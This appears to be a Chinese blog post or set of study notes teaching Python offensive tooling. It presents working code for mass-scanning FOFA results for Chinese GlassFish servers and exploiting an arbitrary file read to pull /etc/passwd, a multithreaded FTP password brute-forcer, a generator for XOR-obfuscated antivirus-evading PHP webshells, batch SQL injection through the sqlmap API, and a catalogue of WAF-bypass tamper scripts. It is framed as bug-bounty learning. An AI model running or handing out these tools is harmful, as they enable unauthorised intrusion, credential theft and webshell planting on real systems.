python开发
一、python开发|信息收集脚本 1、Python 开发学习的意义 (1)、在python开发的同时,可以学习相关安全工具原理 (2)、掌握自定义工具及拓展开发 (3)、解决实战中无工具或手工麻烦批量化等情况 (4)、在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助 如:SRC 批量收集并利用,AWD 批量利用获取 FLAG,CTF 加解密脚本等
外网自写脚本信息收集 网络|资产信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import socket,os,time,sys//导入库|模块import whoisdef ip_check (url ): ip=socket.gethostbyname(url) print (ip) def whois_check (url ): data=whois(url) print (data) def cdn_check (url ): ns="nslookup " +url data=os.popen(ns,"r" ).read() if data.count("." )>8 : print ("存在CDN" ) else : print ("不存在CDN" ) def zym_list_check (url ): url=url.replace("www." ,"" ) for zym_list in open ("dic.txt" ): zym_list=zym_list.replace("\n" ,"" ) zym_list_url=zym_list+"." +url try : ip=socket.gethostbyname(zym_list_url) print (zym_list_url+"->" +ip) time.sleep(0.1 ) except Exception as e: print (zym_list_url+"->" +"error" ) time.sleep(0.1 ) def zym_api_check (url ): url=url.replace("www." , "" ) def port_check (url ): ip = socket.gethostbyname(url) server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try : data=server.connect_ex((ip, 80 )) if data==0 : print (ip+":" +str (80 )+"|open" ) else : print (ip+":" +str (80 )+"|close" ) pass except Exception as err: print ("error" ) def os_check (url ): data = os.popen("nmap\\nmap -O " +url, "r" ).read() print (data) if __name__ == '__main__' : print ("Test:python test.py www.xiaodi8.com all" ) url = sys.argv[1 ] check = sys.argv[2 ] if check=="all" : ip_check(url) whois_check(url) cdn_check(url) os_check(url) zym_list_check(url)
注释 (1)、python安装非官方库 在D:\python\Scripts运行cmd,然后 使用命令安装指定库
3.若是python3.0以上的版本,则使用
4.卸载格式
5.pip可以通过-i参数临时换源
1 pip install [库名] -i [镜像地址]
6.查看已安装的库和版本
下载非官方库并不需要在pip的文件目录下打开cmd (2)、pip下载默认是从官方库下载的,慢,后续查一下如何换源(清华的源)。 升级pip
如果升级都升级不了,那么直接使用清华源来升级pip:
1 pip install -i https:// pypi.tuna.tsinghua.edu.cn/simple pip -U
配置默认镜像站
1 pip config set global .index -url https://pypi.tuna.tsinghua.edu.cn /simple
如果只是想临时使用一下,那么用下面这行命令就好了:
1 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple some -package
(3)、判断一个网站是否存在cdn也可以直接使用命令行:
(4)、查询某网站的子域名时,可以在bing浏览器:
便可搜集到网站的子域名信息 (5)、请求大量数据时,代码没问题但是还是会报错:使用try…except Exception as err(异常处理) (6)、可以把脚本写成交互式,就是用户输入一个参数,对应就执行哪个模块功能(import sys模块)
内网自写脚本信息收集 判断存活主机、端口扫描、判断操作系统等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import nmap def nmapscan(): nm = nmap.PortScanner() try: data =nm.scan(hosts='192.168.76.0/24', arguments ='-T4 -F' ) print (nm.all_hosts()) print (nm.csv()) print (data) except Exception as err: print ("error" ) if __name__ == '__main__' : nmapscan()
但是目标主机不一定可以解析python,所以要使用到:python打包成.exe文件 直接将要打包的文件拖入D:\python\Scripts,然后在此次打开cmd,随后
1 pyinstaller.exe -F [.py文件]
在dist文件夹下会生成对应的exe文件
python开发|需求分析 我们后面要进行src挖掘 这三步可以全程python实现意义: 学了python开发,可以对网站的子域名信息进行收集,随后扫描对应子域名的端口开放情况,根据每一个子域名的端口开放情况来判断开启了什么服务(对子域名批量检测),随后(因为可能会开放很多端口,但是符合要求的,对我们有用的很少)使用全局扫描或者对单一服务的漏洞扫描工具进行检测是否存在漏洞(python引入第三方库|也可以用exe的),最后提交到src平台。(ps:甚至可以python实现提交,写好脚本后全程不用动)
二、python开发|漏洞检测与利用 1、涉及技术:REQUEST爬虫技术、LXML数据提取、异常处理、fofa使用说明 2、学习目的:掌握和利用公开或者0day漏洞进行批量化的收集和验证脚本开发
针对glassfish的中间件漏洞检测 1、漏洞信息 (1)漏洞名称:应用服务器glassfish任意文件读取 (2)漏洞poc:
1 2 /theme/META-INF/%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /windows/win.ini #注意:Linux 时读取/etc/passwd 文件,windows 则是其他文件,如 windows/win.ini
2、简单代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requests import base64 from lxml import etree import time import sys url='http: payload_linux='/' payload_windows='/theme/META-INF/%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /windows/win.ini' #data_linux=requests.get(url+payload_linux) #获取请求后的返回源代码 #data_windows=requests.get(url+payload_windows) #获取请求后的返回源代码 data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回状态码 data_windows=requests.get(url+payload_windows).status_code #获取请求后的返回状态码 if data_linux==200 or data_windows==200 : print ("yes" ) else : print ("no" ) #print (data_linux.content.decode('utf-8 ')) #print (data_windows.content.decode('utf-8 '))
3、实现批量化(先信息收集获取ip)关键就是如何进行有用的数据提取与筛选
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport base64from lxml import etreeimport time''' 如何实现这个漏洞批量化: 1.1获取到可能存在漏洞的地址信息-借助fofa进行获取目标 1.2 将请求的数据进行筛选 2.批量请求地址信息进行判断是否存在-单线程和多线程 ''' search_data='"glassfish" && port="4848" && country="CN"' for yeshu in range (1 , 7 ): headers={ 'cookie' :'*****' } url = 'https://fofa.info/result?page=' +str (yeshu)+'&qbase64=' search_data_bs=str (base64.b64encode(search_data.encode("utf-8" )), "utf-8" ) try : print ('正在提取第' + str (yeshu) + '页' ) urls=url+search_data_bs result=requests.get(urls,headers=headers).content soup = etree.HTML(result) ip_data=soup.xpath('//a[@target="_blank"]/@href' ) ipdata = '\n' .join(ip_data) with open (r'ip.txt' , 'a+' ) as f: f.write(ipdata + '\n' ) f.close() time.sleep(0.5 ) except Exception as e: pass
4、整合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import requests import base64 from lxml import etree import time import sys def fofa_search(search_data,page): #search_data='"glassfish" && port="4848" && country="CN" '#搜索语法记得是要带双引号的 for yeshu in range(1 , page+1 ): headers={#载入自己登陆后的cookie,不然只能读取第一页 'cookie':'__fcd=fzNuxbh8AgWDit9KdZgghOsQNv url = 'https: search_data_bs=str(base64.b64encode(search_data.encode("utf-8" )), "utf-8" ) #print (search_data_bs) try : print ('正在提取第' + str(yeshu) + '页') urls=url+search_data_bs #print (urls) result=requests.get(urls,headers=headers).content #print (result.decode('utf-8 ')) soup = etree.HTML(result) ip_data=soup.xpath(' ipdata = '\n'.join(ip_data) #print (ip_data) with open (r 'ip.txt', 'a+') as f: f.write (ipdata + '\n') f.close () time.sleep(0.5 ) except Exception as e: pass def poc_check(poc): #poc_linux = '/theme/META-INF/%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /etc/passwd' #poc_windows = '/theme/META-INF/%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /windows/win.ini' for url in open ('ip.txt'):#加上绝对路径 url = url.replace('\n', '') poc_url = url + poc print (poc_url) #poc_check(poc_url) try : print ("正在检测:" ) print (poc_url) poc_data = requests.get(poc_url) if poc_data.status_code==200 : print (poc_data.content.decode('utf-8 ')) with open (r 'result.txt','a+') as f: f.write (poc_url+'\n') f.close () time.sleep(1 ) except Exception as e: #time.sleep(0.5 ) pass if __name__ == '__main__': search=sys.argv[1 ] page=sys.argv[2 ] fofa_search(search,int(page)) poc_linux = '/theme/META-INF/%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /etc/passwd' poc_windows = '/theme/META-INF/%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /%c 0%ae %c 0%ae /windows/win.ini' poc_check(poc_linux) poc_check(poc_windows)
成果展示:
教育src报告平台信息提取脚本 仅仅只是提取(可以进行漏洞统计,漏洞公告),没有涉及到如何挖掘src
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requests,timefrom lxml import etreedef edu_list (page ): for page in range (1 ,int (page)+1 ): try : url='https://src.sjtu.edu.cn/list/?page=' +str (page) data=requests.get(url).content soup = etree.HTML(data.decode('utf-8' )) result = soup.xpath('//td[@class=""]/a/text()' ) results = '\n' .join(result) resultss=results.split() print (resultss) for edu in resultss: with open (r'src.txt' , 'a+' ,encoding='utf-8' ) as f: f.write(edu+'\n' ) f.close() except Exception as e: time.sleep(0.5 ) pass if __name__ == '__main__' : yeshu=input ("输入页数" ) edu_list(yeshu)
三、python开发|综合利用以及插件开发 利用FTP模块实现协议爆破 就是爆破ftp密码,判断是否连接得上(ssh也可以实现的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import ftplibimport sysimport threadingimport queue''' ftp=ftplib.FTP(); ftp.connect('127.0.0.1',21) ftp.login("admin","admin") list=ftp.retrlines('list') print(list) ''' def ftp_burp (ip,port ): ftp = ftplib.FTP(); ftp.connect(ip, port) while not q.empty(): dict =q.get() dict =dict .split('|' ) username=dict [0 ] password=dict [1 ] try : ftp.login(username, password) list = ftp.retrlines('list' ) print (username+'|' +password+'ok' ) except ftplib.all_errors: break if __name__ == '__main__' : ip=sys.argv[1 ] port=sys.argv[2 ] userfile=sys.argv[3 ] passfile=sys.argv[4 ] threadnum=sys.argv[5 ] q=queue.Queue() for username in open (userfile): username = username.replace('\n' , '' ) for password in open (passfile): password = password.replace('\n' , '' ) q.put(username+'|' +password) for x in range (int (threadnum)): t=threading.Thread(target=ftp_burp,args=(ip,int (port))) t.start()
配合fuzz实现免杀异或shell脚本 https://www.cnblogs.com/0daybug/p/16740163.html 1、异或实现免杀https://blog.csdn.net/qq_41617034/article/details/104441032 就是取两字符的ASCLL,化为二进制后异或,转为另一个字符的过程 所以,可以有生成无字符webshell的思路(字符全用异或生成的代替):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #批量生成异或免杀脚本 import requests import time for i in range (1 , 128 ): for ii in range (1 , 128 ): payload = "'" + chr (i) + "'" + '^' + "'" + chr (ii) + "'" code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>" filename = str (i) + 'miansha' + str (ii) + '.php' with open ('D:/phpstudy_pro/WWW/miansha/' + filename, 'a' ) as f: f.write (code) print ('Fuzz->' + filename + '文件写入成功' ) f.close () url = 'http://127.0.0.1:8080/miansha/' + filename datas = { 'x' : 'phpinfo();' } result = requests.post (url, data=datas).content .decode ('utf-8' ) if '关键字(查看源代码)' in result: print ('check->' + filename + '->ok' ) else : #print ('check->' + filename + '->no' ) time .sleep (1 )
多线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requests import time import threading,queue def string(): while not q.empty(): filename =q.get() url = 'http://127.0.0.1:8080/miansha/' + filename datas = { 'x' : 'phpinfo();' } result = requests.post(url, data=datas).content.decode('utf-8' ) if '关键字(源代码可查看)' in result: print ('check->' +filename +'->ok' ) #else : #print ('check->' +filename +'->no' ) time.sleep(1) if __name__ == '__main__' : q=queue.Queue() for i in range (1, 128): for ii in range (1, 128): payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'" code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>" filename = str(i) + 'miansha' + str(ii) + '.php' q.put (filename ) with open ('D:/phpstudy_pro/WWW/miansha/' + filename , 'a' ) as f: f.write(code) f.close () print ('Fuzz文件生成成功' ) for x in range (20): t=threading.Thread(target=string) t.start()
四、python开发|渗透测试框架POC开发 https://blog.csdn.net/weixin_43263566/article/details/129426210 知识点: Request爬虫技术,Sqlmap深入分析, Pocsuite分析,框架代码二次修改等 目的: 掌握安全工具的API接口开发利用,掌握优秀框架的二次开发插件引用等
SqlmapAPI实现自动化批量SQL注入安全检测 意义:前期通过信息收集拿到大量的URL地址,此时就可以配合SqlmapAPI接口进行批量的SQL注入检测(SRC挖掘) 1、开启sqlmapapi,进入sqlmap安装目录,cmd输入
2、检测代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests import json task_new_url ='http://127.0.0.1:8775/task/new' #1)、生成新的任务并且,并且发送请求resp =requests.get(task_new_url)task_id =resp.json()['taskid' ]#2)、获取taskid值(要用到所以要获取)data={ 'url' :'http://127.0.0.1:8080/sqlilabs/Less-1/?id=1' #要扫描的网站 } headers={ 'Content-Type' :'application/json' } task_set_url ='http://127.0.0.1:8775/option/' +task_id+'/set'task_set_resp =requests.post(task_set_url,data=json.dumps(data),headers=headers)task_start_url ='http://127.0.0.1:8775/scan/' +task_id+'/start'task_start_resp =requests.post(task_start_url,data=json.dumps(data),headers=headers)task_status_url ='http://127.0.0.1:8775/scan/' +task_id+'/status'task_status_resp =requests.get(task_status_url)task_deltask_url = 'http://127.0.0.1:8775/task/' + task_id + '/delete' #5、扫描完成就删除 task_deltask_resp = requests.get (task_deltask_url)
批量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requests import json import time def sqlmapapi(url): data = { #'url' : 'http://127.0.0.1:8080/sqlilabs/Less-1/?id=1' # 要扫描的网站 'url' : url } headers = { 'Content-Type' : 'application/json' } task_new_url = 'http://127.0.0.1:8775/task/new' resp = requests.get (task_new_url) task_id = resp.json()['taskid' ] if 'success' in resp.content.decode('utf-8' ):#1、创建任务id print ('sqlmapapi task create success...' ) task_set_url = 'http://127.0.0.1:8775/option/' + task_id + '/set' task_set_resp =requests.post(task_set_url, data =json.dumps(data), headers =headers) if 'success' in task_set_resp.content.decode('utf-8' ):#2、设置任务id的配置信息(扫描信息) print ('sqlmapapi taskid set success' ) task_start_url = 'http://127.0.0.1:8775/scan/' + task_id + '/start' task_start_resp = requests.post(task_start_url, data =json.dumps(data), headers =headers) if 'success' in task_start_resp.content.decode('utf-8' ):#3、启动对应id的扫描任务 print ('sqlmapapi scan start success' ) while 1:#一直循环,直到扫描结束就break task_status_url = 'http://127.0.0.1:8775/scan/' + task_id + '/status' task_status_resp = requests.get (task_status_url) if 'running' in task_status_resp.content.decode('utf-8' ): print (url + '->scan running' ) pass else : print ('sqlmapapi scan end' ) task_data_url = 'http://127.0.0.1:8775/scan/' + task_id + '/data' task_data_resp = requests.get (task_data_url).content.decode('utf-8' ) print (task_data_resp)#打印扫描结果 with open(r'scan_result.txt' , 'a+' ) as f:#结果写入 f.write(url + '\n' ) f.write(task_data_resp + '\n' ) f.write('==========python sqlmapapi by DralinF==========' + '\n' ) f.close() # print ('delete taskid' ) task_deltask_url = 'http://127.0.0.1:8775/task/' + task_id + '/delete' #5、扫描完成就删除 task_deltask_resp = requests.get (task_deltask_url) if 'success' in task_deltask_resp.content.decode('utf-8' ): print ('delete taskid success' ) break time.sleep(0.5) if __name__ == '__main__' : print ("scanurl checking ok....." ) for url in open('url.txt' ): url = url.replace('\n' , '' ) sqlmapapi(url)
Pocsuite3 漏扫框架二次开发POC/EXP引入使用 参考:https://www.freebuf.com/articles/people/162868.html https://blog.csdn.net/qq_45817336/article/details/122287064 Pocsuite3下载: https://codeload.github.com/knownsec/pocsuite3/zip/refs/heads/master 在此项目的基础上做二次开发,将自己的一些poc加载进去 开发当前项目过程:(利用已知框架增加引入最新或内部的 EXP 进行安全检测) 1、将自己的脚本复制到D:\python\pocsuite3-master\pocsuite3\pocsps:照猫画虎(根据pocs里面的poc脚本写自己的) 2、运行
1 2 3 4 python cli.py -u http:// ceph.espot.com.cn:4848 -r Glassfish_poc.py --verify
有了这个思路,就可以定期完善自己的漏洞库了,随之便可以批量挖漏洞了
Sqlmap_Tamper模块脚本编写绕过滤 基本同上,关键:照猫画虎 调用tamper进行注入的命令
1 python sqlmap.py -u http:// 127.0 .0.1 :80 /sqlilabs/ Less-4 /?id=1 -tamper=bypass_safedog.py
tamper目录内一些文件脚本作用:https://blog.csdn.net/weixin_43263566/article/details/129426210 脚本介绍(原文) apostrophemask.py 作用:将引号替换为UTF-8,用于过滤单引号 base64encode.py 作用:替换为base64编码 multiplespaces.py 作用:围绕SQL关键词添加多个空格 space2plus.py 作用:使用+号替换空格 nonrecursivereplacement.py 作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常强的自定义过滤器,例如将SELECT替换为空) space2randomblank.py 作用:将空格替换为其他有效字符 unionalltounion.py 作用:将UNION ALL SELECT替换为UNION SELECT securesphere.py 作用:追加特制的字符串 space2hash.py 作用:将空格替换为#号,并随机添加一个字符串和换行符 space2mssqlblank.py(MsSQL) 作用:将空格替换为其他空符号 space2mssqlhash.py 作用:将空格替换为#号,并添加一个换行符 between.py 作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=) percentage.py 作用:ASP允许在每个字符前添加一个%号 sp_password.py 作用:从DBMS日记的自动模糊处理的有效载荷中添加sp_password charencode.py 作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符) randomcase.py 作用:随机大小写 charunicodeencode.py 作用:字符串unicode编码 space2comment.py 作用:将空格替换为// equaltolike.py 作用:将等号替换为like greatest.py 作用:绕过对“>”的过滤,用GREATEST替换大于号 ifnull2ifisnull.py 作用:绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A) modsecurityversioned.py 作用:过滤空格,使用MySQL内联注释的方式进行注入 space2mysqlblank.py 作用:将空格替换为其他空白符号(适用于MySQL) modsecurityzeroversioned.py 作用:使用MySQL内联注释的方式(/!00000 /)进行注入 space2mysqldash.py 作用:将空格替换为–,并添加一个换行符 bluecoat.py 作用:在SQL语句后用有效的随机空白符替换空格,随后用LIKE替换等号 versionedkeywords.py 作用:注释绕过 halfversionedmorekeywords.py 作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释 space2morehash.py 作用:将空格替换为#号,并添加一个随机字符串和换行符 apostrophenullencode.py 作用:用非法双字节unicode字符串替换单引号 appendnullbyte.py 作用:在有效负荷的结束位置添加零字节字符编码 chardoubleencode.py 作用:对给定的Payload全部字符使用双重URL编码(不处理已编码的字符) unmagicquotes.py 作用:使用一个多字节组合(%bf%27)和末尾通用注释一起替换掉空格 randomcomments.py 作用:用/ /分割SQL关键字